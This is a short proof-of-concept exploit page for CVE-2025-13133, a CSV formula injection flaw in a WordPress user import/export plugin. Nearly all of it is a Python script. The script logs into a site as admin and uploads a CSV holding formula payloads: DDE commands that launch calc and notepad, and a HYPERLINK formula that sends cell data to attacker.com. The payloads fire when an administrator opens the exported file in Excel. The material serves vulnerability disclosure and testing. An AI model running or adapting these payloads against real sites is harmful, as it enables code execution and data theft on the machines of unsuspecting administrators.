CVE-2025-13133 WordPress Simple User Import Export插件CSV注入漏洞

#!/usr/bin/env python3 """ CVE-2025-13133 PoC - Simple User Import Export CSV Injection This PoC demonstrates how to inject malicious formulas into CSV export """ import requests from bs4 import BeautifulSoup import re # Configuration TARGET_URL = "http://vulnerable-wordpress-site.com" USERNAME = "admin" PASSWORD = "admin_password" # Malicious CSV injection payloads PAYLOADS = [ '=CMD|\'/C calc\'!A0', # Windows calc execution '=HYPERLINK("http://attacker.com/steal?data="&A1)', # Data exfiltration '+HYPERLINK(,"cmd\'/c calc\'!A0)', # Alternative calc '-2+3+CMD|\'/C notepad\'!A0', # Notepad execution ] def exploit(): """ Step 1: Authenticate as admin user Step 2: Import users with malicious CSV formula in username field Step 3: Export users to trigger payload execution """ session = requests.Session() # Login login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=login_data) if 'error' in resp.text.lower(): print("[-] Login failed") return False print("[+] Login successful") # Access plugin import page import_url = f"{TARGET_URL}/wp-admin/admin.php?page=a3-user-importer" resp = session.get(import_url) # Prepare malicious CSV data with formula injection malicious_csv = "Username,Email,Role\n" for payload in PAYLOADS: malicious_csv += f"{payload},[email protected],administrator\n" # Upload malicious CSV files = {'upload_file': ('users.csv', malicious_csv, 'text/csv')} data = {'action': 'a3_import_users'} resp = session.post(import_url, files=files, data=data) if resp.status_code == 200: print("[+] Malicious CSV uploaded successfully") print("[*] When admin exports users, the CSV will contain malicious formulas") print("[*] Opening the exported CSV in Excel will trigger code execution") return True if __name__ == "__main__": exploit()